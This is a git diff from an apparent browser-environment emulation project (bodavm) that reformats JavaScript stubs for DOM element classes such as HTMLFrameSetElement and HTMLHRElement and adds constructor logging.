get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onfocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onscroll_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onafterprint", {configurable:true, enumerable:true, get:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onafterprint_get", arguments)}, set:function onafterprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onafterprint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onbeforeprint", {configurable:true, enumerable:true, get:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeprint_get", arguments)}, set:function onbeforeprint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeprint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onbeforeunload", {configurable:true, enumerable:true, get:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeunload_get", arguments)}, set:function onbeforeunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeunload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onhashchange", {configurable:true, enumerable:true, get:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onhashchange_get", arguments)}, set:function onhashchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onhashchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onlanguagechange", {configurable:true, enumerable:true, get:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onlanguagechange_get", arguments)}, set:function onlanguagechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onlanguagechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onmessageerror", {configurable:true, enumerable:true, get:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessageerror_get", arguments)}, set:function onmessageerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessageerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onoffline", {configurable:true, enumerable:true, get:function onoffline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onoffline_get", arguments)}, set:function onoffline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onoffline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "ononline", {configurable:true, enumerable:true, get:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "ononline_get", arguments)}, set:function ononline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "ononline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpagehide", {configurable:true, enumerable:true, get:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpagehide_get", arguments)}, set:function onpagehide (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpagehide_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpageshow", {configurable:true, enumerable:true, get:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpageshow_get", arguments)}, set:function onpageshow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpageshow_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpopstate", {configurable:true, enumerable:true, get:function onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpopstate_get", arguments)}, set:function onpopstate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpopstate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onrejectionhandled", {configurable:true, enumerable:true, get:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onrejectionhandled_get", arguments)}, set:function onrejectionhandled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onrejectionhandled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onstorage", {configurable:true, enumerable:true, get:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onstorage_get", arguments)}, set:function onstorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onstorage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onunhandledrejection", {configurable:true, enumerable:true, get:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunhandledrejection_get", arguments)}, set:function onunhandledrejection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunhandledrejection_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onunload", {configurable:true, enumerable:true, get:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunload_get", arguments)}, set:function onunload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunload_set", arguments)}},'prototype'); +// HTMLFrameSetElement对象 + +bodavm.memory.globalobj['HTMLFrameSetElement'] = function HTMLFrameSetElement() { + console.log_copy('HTMLFrameSetElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLFrameSetElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLFrameSetElement'], "HTMLFrameSetElement"); +bodavm.memory.globalobj['HTMLFrameSetElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLFrameSetElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "cols", { + configurable: true, + enumerable: true, + get: function cols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "cols_get", arguments); + }, + set: function cols() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "cols_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "rows", { + configurable: true, + enumerable: true, + get: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "rows_get", arguments); + }, + set: function rows() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "rows_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onblur", { + configurable: true, + enumerable: true, + get: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onblur_get", arguments); + }, + set: function onblur() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onblur_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onfocus", { + configurable: true, + enumerable: true, + get: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onfocus_get", arguments); + }, + set: function onfocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onfocus_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onresize_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onscroll", { + configurable: true, + enumerable: true, + get: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onscroll_get", arguments); + }, + set: function onscroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onscroll_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onafterprint", { + configurable: true, + enumerable: true, + get: function onafterprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onafterprint_get", arguments); + }, + set: function onafterprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onafterprint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onbeforeprint", { + configurable: true, + enumerable: true, + get: function onbeforeprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeprint_get", arguments); + }, + set: function onbeforeprint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeprint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onbeforeunload", { + configurable: true, + enumerable: true, + get: function onbeforeunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeunload_get", arguments); + }, + set: function onbeforeunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onbeforeunload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onhashchange", { + configurable: true, + enumerable: true, + get: function onhashchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onhashchange_get", arguments); + }, + set: function onhashchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onhashchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onlanguagechange", { + configurable: true, + enumerable: true, + get: function onlanguagechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onlanguagechange_get", arguments); + }, + set: function onlanguagechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onlanguagechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onmessageerror", { + configurable: true, + enumerable: true, + get: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessageerror_get", arguments); + }, + set: function onmessageerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onmessageerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onoffline", { + configurable: true, + enumerable: true, + get: function onoffline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onoffline_get", arguments); + }, + set: function onoffline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onoffline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "ononline", { + configurable: true, + enumerable: true, + get: function ononline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "ononline_get", arguments); + }, + set: function ononline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "ononline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpagehide", { + configurable: true, + enumerable: true, + get: function onpagehide() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpagehide_get", arguments); + }, + set: function onpagehide() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpagehide_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpageshow", { + configurable: true, + enumerable: true, + get: function onpageshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpageshow_get", arguments); + }, + set: function onpageshow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpageshow_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onpopstate", { + configurable: true, + enumerable: true, + get: function onpopstate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpopstate_get", arguments); + }, + set: function onpopstate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onpopstate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onrejectionhandled", { + configurable: true, + enumerable: true, + get: function onrejectionhandled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onrejectionhandled_get", arguments); + }, + set: function onrejectionhandled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onrejectionhandled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onstorage", { + configurable: true, + enumerable: true, + get: function onstorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onstorage_get", arguments); + }, + set: function onstorage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onstorage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onunhandledrejection", { + configurable: true, + enumerable: true, + get: function onunhandledrejection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunhandledrejection_get", arguments); + }, + set: function onunhandledrejection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunhandledrejection_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLFrameSetElement', "onunload", { + configurable: true, + enumerable: true, + get: function onunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunload_get", arguments); + }, + set: function onunload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLFrameSetElement'].prototype, "HTMLFrameSetElement", "onunload_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLHRElement.js b/env_xbb_lastest_jsdom/env/HTMLHRElement.js index 81e07cdd..4a30859f 100644 --- a/env_xbb_lastest_jsdom/env/HTMLHRElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLHRElement.js @@ -1,10 +1,69 @@ -// HTMLHRElement对象 -bodavm.memory.globalobj['HTMLHRElement'] = function HTMLHRElement(){if (!(this instanceof HTMLHRElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHRElement'], "HTMLHRElement"); -bodavm.memory.globalobj['HTMLHRElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLHRElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLHRElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLHRElement', "color", {configurable:true, enumerable:true, get:function color (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "color_get", arguments)}, set:function color (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "color_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLHRElement', "noShade", {configurable:true, enumerable:true, get:function noShade (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "noShade_get", arguments)}, set:function noShade (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "noShade_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLHRElement', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "size_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLHRElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "width_set", arguments)}},'prototype'); +// HTMLHRElement对象 + +bodavm.memory.globalobj['HTMLHRElement'] = function HTMLHRElement() { + console.log_copy('HTMLHRElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLHRElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHRElement'], "HTMLHRElement"); +bodavm.memory.globalobj['HTMLHRElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLHRElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLHRElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLHRElement', "color", { + configurable: true, + enumerable: true, + get: function color() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "color_get", arguments); + }, + set: function color() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "color_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLHRElement', "noShade", { + configurable: true, + enumerable: true, + get: function noShade() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "noShade_get", arguments); + }, + set: function noShade() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "noShade_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLHRElement', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "size_get", arguments); + }, + set: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "size_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLHRElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLHRElement'].prototype, "HTMLHRElement", "width_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLHeadElement.js b/env_xbb_lastest_jsdom/env/HTMLHeadElement.js index f32c272b..e0ecc482 100644 --- a/env_xbb_lastest_jsdom/env/HTMLHeadElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLHeadElement.js @@ -1,5 +1,19 @@ -// HTMLHeadElement对象 -bodavm.memory.globalobj['HTMLHeadElement'] = function HTMLHeadElement(){if (!(this instanceof HTMLHeadElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHeadElement'], "HTMLHeadElement"); -bodavm.memory.globalobj['HTMLHeadElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLHeadElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +// HTMLHeadElement对象 + +bodavm.memory.globalobj['HTMLHeadElement'] = function HTMLHeadElement() { + console.log_copy('HTMLHeadElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLHeadElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLHeadElement'], "HTMLHeadElement"); +bodavm.memory.globalobj['HTMLHeadElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLHeadElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLHeadingElement.js b/env_xbb_lastest_jsdom/env/HTMLHeadingElement.js index a2cef3fa..e92d4ffe 100644 --- a/env_xbb_lastest_jsdom/env/HTMLHeadingElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLHeadingElement.js @@ -1,6 +1,29 @@ -// HTMLHeadingElement对象 